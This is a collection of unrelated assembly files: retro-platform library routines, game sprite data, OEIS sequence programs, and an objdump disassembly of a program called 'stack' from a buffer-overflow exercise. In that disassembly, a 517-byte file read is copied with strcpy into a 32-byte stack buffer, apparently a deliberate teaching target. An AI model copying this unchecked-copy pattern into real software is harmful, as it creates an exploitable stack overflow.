e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/stdio/osca/getk.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/stdio/osca/getk.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
1
2019-12-03T23:57:48.000Z
2019-12-03T23:57:48.000Z
; ; Basic keyboard handling for the OSCA architecture ; By Stefano Bodrato Jul. 2011 ; ; getk() Read key status ; ; ; $Id: getk.asm,v 1.4 2016/06/12 17:32:01 dom Exp $ ; INCLUDE "flos.def" SECTION code_clib PUBLIC getk PUBLIC _getk .getk ._getk call kjt_get_key or a jr nz,knz ld b,a .knz cp $5a jr nz,noent ld b,13 .noent cp $6b jr nz,noleft ld b,8 .noleft cp $74 jr nz,noright ld b,9 .noright cp $75 jr nz,noup ld b,11 .noup cp $72 jr nz,nodown ld b,10 .nodown cp $71 jr z,isdel cp $66 jr nz,nodel .isdel jr nz,nodel ld b,12 .nodel ld l,b ; ASCII CODE ld h,0 ret
10.423729
52
0.642276
10afaf57b2d0ca81270ce41533c79c0c1a3f82d3
7,619
asm
Assembly
data/sprites/map_objects.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
data/sprites/map_objects.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
data/sprites/map_objects.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
SpriteMovementData:: ; entries correspond to SPRITEMOVEDATA_* constants ; SPRITEMOVEDATA_00 db SPRITEMOVEFN_00 ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db WONT_DELETE ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_STILL db SPRITEMOVEFN_STANDING ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db FIXED_FACING | SLIDING ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_WANDER db SPRITEMOVEFN_RANDOM_WALK_XY ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db 0 ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_SPINRANDOM_SLOW db SPRITEMOVEFN_SLOW_RANDOM_SPIN ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db 0 ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_WALK_UP_DOWN db SPRITEMOVEFN_RANDOM_WALK_Y ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db 0 ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_WALK_LEFT_RIGHT db SPRITEMOVEFN_RANDOM_WALK_X ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db 0 ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_STANDING_DOWN db SPRITEMOVEFN_STANDING ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db 0 ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_STANDING_UP db SPRITEMOVEFN_STANDING ; movement function db UP ; facing db OBJECT_ACTION_STAND ; action db 0 ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_STANDING_LEFT db SPRITEMOVEFN_STANDING ; movement function db LEFT ; facing db OBJECT_ACTION_STAND ; action db 0 ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_STANDING_RIGHT db SPRITEMOVEFN_STANDING ; movement function db RIGHT ; facing db OBJECT_ACTION_STAND ; action db 0 ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_SPINRANDOM_FAST db SPRITEMOVEFN_FAST_RANDOM_SPIN ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db 0 ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_PLAYER db SPRITEMOVEFN_OBEY_DPAD ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db WONT_DELETE ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_0C db SPRITEMOVEFN_08 ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db 0 ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_0D db SPRITEMOVEFN_09 ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db 0 ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_0E db SPRITEMOVEFN_0A ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db 0 ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_0F db SPRITEMOVEFN_0B ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db 0 ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_10 db SPRITEMOVEFN_0C ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db 0 ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_11 db SPRITEMOVEFN_0D ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db 0 ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_12 db SPRITEMOVEFN_0E ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db 0 ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_FOLLOWING db SPRITEMOVEFN_FOLLOW ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db WONT_DELETE ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_SCRIPTED db SPRITEMOVEFN_SCRIPTED ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db WONT_DELETE ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_BIGDOLLSYM db SPRITEMOVEFN_BIG_SNORLAX ; movement function db DOWN ; facing db OBJECT_ACTION_BIG_DOLL_SYM ; action db WONT_DELETE | FIXED_FACING | SLIDING | MOVE_ANYWHERE ; flags1 db LOW_PRIORITY ; flags2 db STRENGTH_BOULDER | BIG_OBJECT ; palette flags ; SPRITEMOVEDATA_POKEMON db SPRITEMOVEFN_BOUNCE ; movement function db DOWN ; facing db OBJECT_ACTION_BOUNCE ; action db WONT_DELETE | FIXED_FACING | SLIDING | MOVE_ANYWHERE ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_SUDOWOODO db SPRITEMOVEFN_STANDING ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db FIXED_FACING | SLIDING ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_SMASHABLE_ROCK db SPRITEMOVEFN_STANDING ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db WONT_DELETE | FIXED_FACING | SLIDING | MOVE_ANYWHERE ; flags1 db USE_OBP1 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_STRENGTH_BOULDER db SPRITEMOVEFN_STRENGTH ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db WONT_DELETE | FIXED_FACING | SLIDING | MOVE_ANYWHERE ; flags1 db 0 ; flags2 db STRENGTH_BOULDER ; palette flags ; SPRITEMOVEDATA_FOLLOWNOTEXACT db SPRITEMOVEFN_FOLLOWNOTEXACT ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db WONT_DELETE ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_SHADOW db SPRITEMOVEFN_SHADOW ; movement function db DOWN ; facing db OBJECT_ACTION_00 ; action db WONT_DELETE | FIXED_FACING | SLIDING | EMOTE_OBJECT ; flags1 db LOW_PRIORITY ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_EMOTE db SPRITEMOVEFN_EMOTE ; movement function db DOWN ; facing db OBJECT_ACTION_EMOTE ; action db WONT_DELETE | FIXED_FACING | SLIDING | EMOTE_OBJECT ; flags1 db HIGH_PRIORITY ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_SCREENSHAKE db SPRITEMOVEFN_SCREENSHAKE ; movement function db DOWN ; facing db OBJECT_ACTION_00 ; action db WONT_DELETE | EMOTE_OBJECT ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_SPINCOUNTERCLOCKWISE db SPRITEMOVEFN_SPIN_COUNTERCLOCKWISE ; movement function db LEFT ; facing db OBJECT_ACTION_STAND ; action db 0 ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_SPINCLOCKWISE db SPRITEMOVEFN_SPIN_CLOCKWISE ; movement function db RIGHT ; facing db OBJECT_ACTION_STAND ; action db 0 ; flags1 db 0 ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_BIGDOLLASYM db SPRITEMOVEFN_STRENGTH ; movement function db DOWN ; facing db OBJECT_ACTION_BIG_DOLL_ASYM ; action db WONT_DELETE | FIXED_FACING | SLIDING | MOVE_ANYWHERE ; flags1 db LOW_PRIORITY ; flags2 db STRENGTH_BOULDER | BIG_OBJECT ; palette flags ; SPRITEMOVEDATA_BIGDOLL db SPRITEMOVEFN_STRENGTH ; movement function db DOWN ; facing db OBJECT_ACTION_BIG_DOLL ; action db WONT_DELETE | FIXED_FACING | SLIDING | MOVE_ANYWHERE ; flags1 db LOW_PRIORITY ; flags2 db STRENGTH_BOULDER | BIG_OBJECT ; palette flags ; SPRITEMOVEDATA_BOULDERDUST db SPRITEMOVEFN_BOULDERDUST ; movement function db DOWN ; facing db OBJECT_ACTION_BOULDER_DUST ; action db WONT_DELETE | FIXED_FACING | SLIDING | EMOTE_OBJECT ; flags1 db LOW_PRIORITY ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_GRASS db SPRITEMOVEFN_GRASS ; movement function db DOWN ; facing db OBJECT_ACTION_GRASS_SHAKE ; action db WONT_DELETE | FIXED_FACING | SLIDING | EMOTE_OBJECT ; flags1 db HIGH_PRIORITY ; flags2 db 0 ; palette flags ; SPRITEMOVEDATA_SWIM_WANDER db SPRITEMOVEFN_RANDOM_WALK_XY ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db 0 ; flags1 db 0 ; flags2 db SWIMMING ; palette flags ; 25 db SPRITEMOVEFN_00 ; movement function db DOWN ; facing db OBJECT_ACTION_STAND ; action db 0 ; flags1 db 0 ; flags2 db 0 ; palette flags
24.81759
65
0.774905
dcaf3824bb5c8ccfccb1739355c20999e25feb70
473
asm
Assembly
oeis/156/A156095.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/156/A156095.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/156/A156095.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A156095: 5 F(2n) (F(2n) + 1) + 1 where F(n) denotes the n-th Fibonacci number. ; Submitted by Christian Krause ; 1,11,61,361,2311,15401,104401,712531,4875781,33398201,228859951,1568486161,10750188961,73681909211,505020747661,3461456968201,23725161388951,162614629188281,1114577128871281,7639424974303651,52361396909490901 mul $0,2 seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1. mov $1,$0 add $1,1 mul $0,$1 div $0,2 mul $0,10 add $0,1
36.384615
210
0.727273
63ffe937e4c2d5a1ccd0c4432238b2875b2cc1b8
390
asm
Assembly
_maps/SSRblock.asm
NatsumiFox/AMPS-Sonic-1-2005
ac8730799f1b96291358c77a4b64529de94ce8a4
[ "Apache-2.0" ]
2
2020-04-09T19:36:35.000Z
2021-01-05T14:20:17.000Z
_maps/SSRblock.asm
NatsumiFox/AMPS-Sonic-1-2005
ac8730799f1b96291358c77a4b64529de94ce8a4
[ "Apache-2.0" ]
null
null
null
_maps/SSRblock.asm
NatsumiFox/AMPS-Sonic-1-2005
ac8730799f1b96291358c77a4b64529de94ce8a4
[ "Apache-2.0" ]
1
2020-06-17T14:16:35.000Z
2020-06-17T14:16:35.000Z
; --------------------------------------------------------------------------- ; Sprite mappings - special stage "R" block ; --------------------------------------------------------------------------- dc.w byte_1B912-Map_SS_R, byte_1B918-Map_SS_R dc.w byte_1B91E-Map_SS_R byte_1B912: dc.b 1 dc.b $F4, $A, 0, 0, $F4 byte_1B918: dc.b 1 dc.b $F4, $A, 0, 9, $F4 byte_1B91E: dc.b 0 even
35.454545
77
0.405128
2770f165f86838df83582b75d7652ac583d5ad77
63
asm
Assembly
Asm/4.1.asm
cquca/csco_book_codes
ccf709d744454695ad9460cad4c241439592d3ab
[ "MIT" ]
3
2020-05-08T03:12:53.000Z
2021-05-02T10:25:19.000Z
Asm/4.1.asm
cquca/csco_book_codes
ccf709d744454695ad9460cad4c241439592d3ab
[ "MIT" ]
null
null
null
Asm/4.1.asm
cquca/csco_book_codes
ccf709d744454695ad9460cad4c241439592d3ab
[ "MIT" ]
null
null
null
if($t8 <0) {$s0=0-$t8; $tl=$t1+1;} else {$s0=$t8; $t2=$t2+1;}
7.875
11
0.444444
730ec794aad9ff830a905c533f93ce600d6ae2ce
841
asm
Assembly
programs/oeis/008/A008624.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/008/A008624.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/008/A008624.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A008624: Expansion of (1+x^3)/((1-x^2)*(1-x^4)) = (1-x+x^2)/((1+x)*(1-x)^2*(1+x^2)). ; 1,0,1,1,2,1,2,2,3,2,3,3,4,3,4,4,5,4,5,5,6,5,6,6,7,6,7,7,8,7,8,8,9,8,9,9,10,9,10,10,11,10,11,11,12,11,12,12,13,12,13,13,14,13,14,14,15,14,15,15,16,15,16,16,17,16,17,17,18,17,18,18,19,18,19,19,20,19,20,20,21,20,21,21,22,21,22,22,23,22,23,23,24,23,24,24,25,24,25,25,26,25,26,26,27,26,27,27,28,27,28,28,29,28,29,29,30,29,30,30,31,30,31,31,32,31,32,32,33,32,33,33,34,33,34,34,35,34,35,35,36,35,36,36,37,36,37,37,38,37,38,38,39,38,39,39,40,39,40,40,41,40,41,41,42,41,42,42,43,42,43,43,44,43,44,44,45,44,45,45,46,45,46,46,47,46,47,47,48,47,48,48,49,48,49,49,50,49,50,50,51,50,51,51,52,51,52,52,53,52,53,53,54,53,54,54,55,54,55,55,56,55,56,56,57,56,57,57,58,57,58,58,59,58,59,59,60,59,60,60,61,60,61,61,62,61,62,62,63,62 mov $1,$0 gcd $1,4 add $1,$0 div $1,4
105.125
714
0.62069
73bee6d6fb2251c707d0f0ad37c938e71bc0d732
256
asm
Assembly
libsrc/_DEVELOPMENT/adt/b_array/c/sdcc_iy/b_array_resize.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/adt/b_array/c/sdcc_iy/b_array_resize.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/adt/b_array/c/sdcc_iy/b_array_resize.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; int b_array_resize(b_array_t *a, size_t n) SECTION code_clib SECTION code_adt_b_array PUBLIC _b_array_resize EXTERN asm_b_array_resize _b_array_resize: pop af pop hl pop de push de push hl push af jp asm_b_array_resize
11.636364
44
0.726563
fd66e63ca5e1be5eb9fe7c8fc324c7f05298a648
433
asm
Assembly
libsrc/spectrum/ulaplus/ulaplus_set.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/spectrum/ulaplus/ulaplus_set.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/spectrum/ulaplus/ulaplus_set.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
1
2019-12-03T23:57:48.000Z
2019-12-03T23:57:48.000Z
; ; ZX Spectrum specific routines ; by Stefano Bodrato, MAR 2010 ; ; int ulaplus_set(attribute,rgbvalue); ; ; ; $Id: ulaplus_set.asm,v 1.3 2016/06/10 21:14:23 dom Exp $ ; SECTION code_clib PUBLIC ulaplus_set PUBLIC _ulaplus_set ulaplus_set: _ulaplus_set: pop bc pop de pop hl push hl push de push bc ld bc,$bf3b ld a,l and 63 ; mask to be sure we're setting the palette out (c),a ld b,$ff ld a,e out (c),a ret
12.735294
58
0.688222
11a2ac19df91f7699f667f8c7d9a9d057daab21f
11,497
asm
Assembly
BufferOverflow/stack.asm
potato1996/PCS-Labs
ebdbac4189bb679577f1f99c3bc58a7e0372b1e0
[ "MIT" ]
null
null
null
BufferOverflow/stack.asm
potato1996/PCS-Labs
ebdbac4189bb679577f1f99c3bc58a7e0372b1e0
[ "MIT" ]
null
null
null
BufferOverflow/stack.asm
potato1996/PCS-Labs
ebdbac4189bb679577f1f99c3bc58a7e0372b1e0
[ "MIT" ]
null
null
null
stack: file format elf32-i386 Disassembly of section .init: 08048324 <_init>: 8048324: 53 push %ebx 8048325: 83 ec 08 sub $0x8,%esp 8048328: e8 c3 00 00 00 call 80483f0 <__x86.get_pc_thunk.bx> 804832d: 81 c3 d3 1c 00 00 add $0x1cd3,%ebx 8048333: 8b 83 fc ff ff ff mov -0x4(%ebx),%eax 8048339: 85 c0 test %eax,%eax 804833b: 74 05 je 8048342 <_init+0x1e> 804833d: e8 6e 00 00 00 call 80483b0 <fopen@plt+0x10> 8048342: 83 c4 08 add $0x8,%esp 8048345: 5b pop %ebx 8048346: c3 ret Disassembly of section .plt: 08048350 <fread@plt-0x10>: 8048350: ff 35 04 a0 04 08 pushl 0x804a004 8048356: ff 25 08 a0 04 08 jmp *0x804a008 804835c: 00 00 add %al,(%eax) ... 08048360 <fread@plt>: 8048360: ff 25 0c a0 04 08 jmp *0x804a00c 8048366: 68 00 00 00 00 push $0x0 804836b: e9 e0 ff ff ff jmp 8048350 <_init+0x2c> 08048370 <strcpy@plt>: 8048370: ff 25 10 a0 04 08 jmp *0x804a010 8048376: 68 08 00 00 00 push $0x8 804837b: e9 d0 ff ff ff jmp 8048350 <_init+0x2c> 08048380 <puts@plt>: 8048380: ff 25 14 a0 04 08 jmp *0x804a014 8048386: 68 10 00 00 00 push $0x10 804838b: e9 c0 ff ff ff jmp 8048350 <_init+0x2c> 08048390 <__libc_start_main@plt>: 8048390: ff 25 18 a0 04 08 jmp *0x804a018 8048396: 68 18 00 00 00 push $0x18 804839b: e9 b0 ff ff ff jmp 8048350 <_init+0x2c> 080483a0 <fopen@plt>: 80483a0: ff 25 1c a0 04 08 jmp *0x804a01c 80483a6: 68 20 00 00 00 push $0x20 80483ab: e9 a0 ff ff ff jmp 8048350 <_init+0x2c> Disassembly of section .plt.got: 080483b0 <.plt.got>: 80483b0: ff 25 fc 9f 04 08 jmp *0x8049ffc 80483b6: 66 90 xchg %ax,%ax Disassembly of section .text: 080483c0 <_start>: 80483c0: 31 ed xor %ebp,%ebp 80483c2: 5e pop %esi 80483c3: 89 e1 mov %esp,%ecx 80483c5: 83 e4 f0 and $0xfffffff0,%esp 80483c8: 50 push %eax 80483c9: 54 push %esp 80483ca: 52 push %edx 80483cb: 68 b0 85 04 08 push $0x80485b0 80483d0: 68 50 85 04 08 push $0x8048550 80483d5: 51 push %ecx 80483d6: 56 push %esi 80483d7: 68 da 84 04 08 push $0x80484da 80483dc: e8 af ff ff ff call 8048390 <__libc_start_main@plt> 80483e1: f4 hlt 80483e2: 66 90 xchg %ax,%ax 80483e4: 66 90 xchg %ax,%ax 80483e6: 66 90 xchg %ax,%ax 80483e8: 66 90 xchg %ax,%ax 80483ea: 66 90 xchg %ax,%ax 80483ec: 66 90 xchg %ax,%ax 80483ee: 66 90 xchg %ax,%ax 080483f0 <__x86.get_pc_thunk.bx>: 80483f0: 8b 1c 24 mov (%esp),%ebx 80483f3: c3 ret 80483f4: 66 90 xchg %ax,%ax 80483f6: 66 90 xchg %ax,%ax 80483f8: 66 90 xchg %ax,%ax 80483fa: 66 90 xchg %ax,%ax 80483fc: 66 90 xchg %ax,%ax 80483fe: 66 90 xchg %ax,%ax 08048400 <deregister_tm_clones>: 8048400: b8 2b a0 04 08 mov $0x804a02b,%eax 8048405: 2d 28 a0 04 08 sub $0x804a028,%eax 804840a: 83 f8 06 cmp $0x6,%eax 804840d: 76 1a jbe 8048429 <deregister_tm_clones+0x29> 804840f: b8 00 00 00 00 mov $0x0,%eax 8048414: 85 c0 test %eax,%eax 8048416: 74 11 je 8048429 <deregister_tm_clones+0x29> 8048418: 55 push %ebp 8048419: 89 e5 mov %esp,%ebp 804841b: 83 ec 14 sub $0x14,%esp 804841e: 68 28 a0 04 08 push $0x804a028 8048423: ff d0 call *%eax 8048425: 83 c4 10 add $0x10,%esp 8048428: c9 leave 8048429: f3 c3 repz ret 804842b: 90 nop 804842c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 08048430 <register_tm_clones>: 8048430: b8 28 a0 04 08 mov $0x804a028,%eax 8048435: 2d 28 a0 04 08 sub $0x804a028,%eax 804843a: c1 f8 02 sar $0x2,%eax 804843d: 89 c2 mov %eax,%edx 804843f: c1 ea 1f shr $0x1f,%edx 8048442: 01 d0 add %edx,%eax 8048444: d1 f8 sar %eax 8048446: 74 1b je 8048463 <register_tm_clones+0x33> 8048448: ba 00 00 00 00 mov $0x0,%edx 804844d: 85 d2 test %edx,%edx 804844f: 74 12 je 8048463 <register_tm_clones+0x33> 8048451: 55 push %ebp 8048452: 89 e5 mov %esp,%ebp 8048454: 83 ec 10 sub $0x10,%esp 8048457: 50 push %eax 8048458: 68 28 a0 04 08 push $0x804a028 804845d: ff d2 call *%edx 804845f: 83 c4 10 add $0x10,%esp 8048462: c9 leave 8048463: f3 c3 repz ret 8048465: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 8048469: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 08048470 <__do_global_dtors_aux>: 8048470: 80 3d 28 a0 04 08 00 cmpb $0x0,0x804a028 8048477: 75 13 jne 804848c <__do_global_dtors_aux+0x1c> 8048479: 55 push %ebp 804847a: 89 e5 mov %esp,%ebp 804847c: 83 ec 08 sub $0x8,%esp 804847f: e8 7c ff ff ff call 8048400 <deregister_tm_clones> 8048484: c6 05 28 a0 04 08 01 movb $0x1,0x804a028 804848b: c9 leave 804848c: f3 c3 repz ret 804848e: 66 90 xchg %ax,%ax 08048490 <frame_dummy>: 8048490: b8 10 9f 04 08 mov $0x8049f10,%eax 8048495: 8b 10 mov (%eax),%edx 8048497: 85 d2 test %edx,%edx 8048499: 75 05 jne 80484a0 <frame_dummy+0x10> 804849b: eb 93 jmp 8048430 <register_tm_clones> 804849d: 8d 76 00 lea 0x0(%esi),%esi 80484a0: ba 00 00 00 00 mov $0x0,%edx 80484a5: 85 d2 test %edx,%edx 80484a7: 74 f2 je 804849b <frame_dummy+0xb> 80484a9: 55 push %ebp 80484aa: 89 e5 mov %esp,%ebp 80484ac: 83 ec 14 sub $0x14,%esp 80484af: 50 push %eax 80484b0: ff d2 call *%edx 80484b2: 83 c4 10 add $0x10,%esp 80484b5: c9 leave 80484b6: e9 75 ff ff ff jmp 8048430 <register_tm_clones> 080484bb <bof>: 80484bb: 55 push %ebp 80484bc: 89 e5 mov %esp,%ebp 80484be: 83 ec 28 sub $0x28,%esp 80484c1: 83 ec 08 sub $0x8,%esp 80484c4: ff 75 08 pushl 0x8(%ebp) 80484c7: 8d 45 e0 lea -0x20(%ebp),%eax 80484ca: 50 push %eax 80484cb: e8 a0 fe ff ff call 8048370 <strcpy@plt> 80484d0: 83 c4 10 add $0x10,%esp 80484d3: b8 01 00 00 00 mov $0x1,%eax 80484d8: c9 leave 80484d9: c3 ret 080484da <main>: 80484da: 8d 4c 24 04 lea 0x4(%esp),%ecx 80484de: 83 e4 f0 and $0xfffffff0,%esp 80484e1: ff 71 fc pushl -0x4(%ecx) 80484e4: 55 push %ebp 80484e5: 89 e5 mov %esp,%ebp 80484e7: 51 push %ecx 80484e8: 81 ec 14 02 00 00 sub $0x214,%esp 80484ee: 83 ec 08 sub $0x8,%esp 80484f1: 68 d0 85 04 08 push $0x80485d0 80484f6: 68 d2 85 04 08 push $0x80485d2 80484fb: e8 a0 fe ff ff call 80483a0 <fopen@plt> 8048500: 83 c4 10 add $0x10,%esp 8048503: 89 45 f4 mov %eax,-0xc(%ebp) 8048506: ff 75 f4 pushl -0xc(%ebp) 8048509: 68 05 02 00 00 push $0x205 804850e: 6a 01 push $0x1 8048510: 8d 85 ef fd ff ff lea -0x211(%ebp),%eax 8048516: 50 push %eax 8048517: e8 44 fe ff ff call 8048360 <fread@plt> 804851c: 83 c4 10 add $0x10,%esp 804851f: 83 ec 0c sub $0xc,%esp 8048522: 8d 85 ef fd ff ff lea -0x211(%ebp),%eax 8048528: 50 push %eax 8048529: e8 8d ff ff ff call 80484bb <bof> 804852e: 83 c4 10 add $0x10,%esp 8048531: 83 ec 0c sub $0xc,%esp 8048534: 68 da 85 04 08 push $0x80485da 8048539: e8 42 fe ff ff call 8048380 <puts@plt> 804853e: 83 c4 10 add $0x10,%esp 8048541: b8 01 00 00 00 mov $0x1,%eax 8048546: 8b 4d fc mov -0x4(%ebp),%ecx 8048549: c9 leave 804854a: 8d 61 fc lea -0x4(%ecx),%esp 804854d: c3 ret 804854e: 66 90 xchg %ax,%ax 08048550 <__libc_csu_init>: 8048550: 55 push %ebp 8048551: 57 push %edi 8048552: 56 push %esi 8048553: 53 push %ebx 8048554: e8 97 fe ff ff call 80483f0 <__x86.get_pc_thunk.bx> 8048559: 81 c3 a7 1a 00 00 add $0x1aa7,%ebx 804855f: 83 ec 0c sub $0xc,%esp 8048562: 8b 6c 24 20 mov 0x20(%esp),%ebp 8048566: 8d b3 0c ff ff ff lea -0xf4(%ebx),%esi 804856c: e8 b3 fd ff ff call 8048324 <_init> 8048571: 8d 83 08 ff ff ff lea -0xf8(%ebx),%eax 8048577: 29 c6 sub %eax,%esi 8048579: c1 fe 02 sar $0x2,%esi 804857c: 85 f6 test %esi,%esi 804857e: 74 25 je 80485a5 <__libc_csu_init+0x55> 8048580: 31 ff xor %edi,%edi 8048582: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8048588: 83 ec 04 sub $0x4,%esp 804858b: ff 74 24 2c pushl 0x2c(%esp) 804858f: ff 74 24 2c pushl 0x2c(%esp) 8048593: 55 push %ebp 8048594: ff 94 bb 08 ff ff ff call *-0xf8(%ebx,%edi,4) 804859b: 83 c7 01 add $0x1,%edi 804859e: 83 c4 10 add $0x10,%esp 80485a1: 39 f7 cmp %esi,%edi 80485a3: 75 e3 jne 8048588 <__libc_csu_init+0x38> 80485a5: 83 c4 0c add $0xc,%esp 80485a8: 5b pop %ebx 80485a9: 5e pop %esi 80485aa: 5f pop %edi 80485ab: 5d pop %ebp 80485ac: c3 ret 80485ad: 8d 76 00 lea 0x0(%esi),%esi 080485b0 <__libc_csu_fini>: 80485b0: f3 c3 repz ret Disassembly of section .fini: 080485b4 <_fini>: 80485b4: 53 push %ebx 80485b5: 83 ec 08 sub $0x8,%esp 80485b8: e8 33 fe ff ff call 80483f0 <__x86.get_pc_thunk.bx> 80485bd: 81 c3 43 1a 00 00 add $0x1a43,%ebx 80485c3: 83 c4 08 add $0x8,%esp 80485c6: 5b pop %ebx 80485c7: c3 ret
43.059925
75
0.500391
091bed1f6c9deee82235c28cb52e80e98600d80a
51,728
asm
Assembly
lib/i386/aesasm.asm
0xflotus/SymCrypt
406f973a28a9982065f975aa9e973d481d53356f
[ "MIT" ]
1
2021-03-18T15:09:13.000Z
2021-03-18T15:09:13.000Z
lib/i386/aesasm.asm
0xflotus/SymCrypt
406f973a28a9982065f975aa9e973d481d53356f
[ "MIT" ]
null
null
null
lib/i386/aesasm.asm
0xflotus/SymCrypt
406f973a28a9982065f975aa9e973d481d53356f
[ "MIT" ]
1
2019-12-23T06:35:21.000Z
2019-12-23T06:35:21.000Z
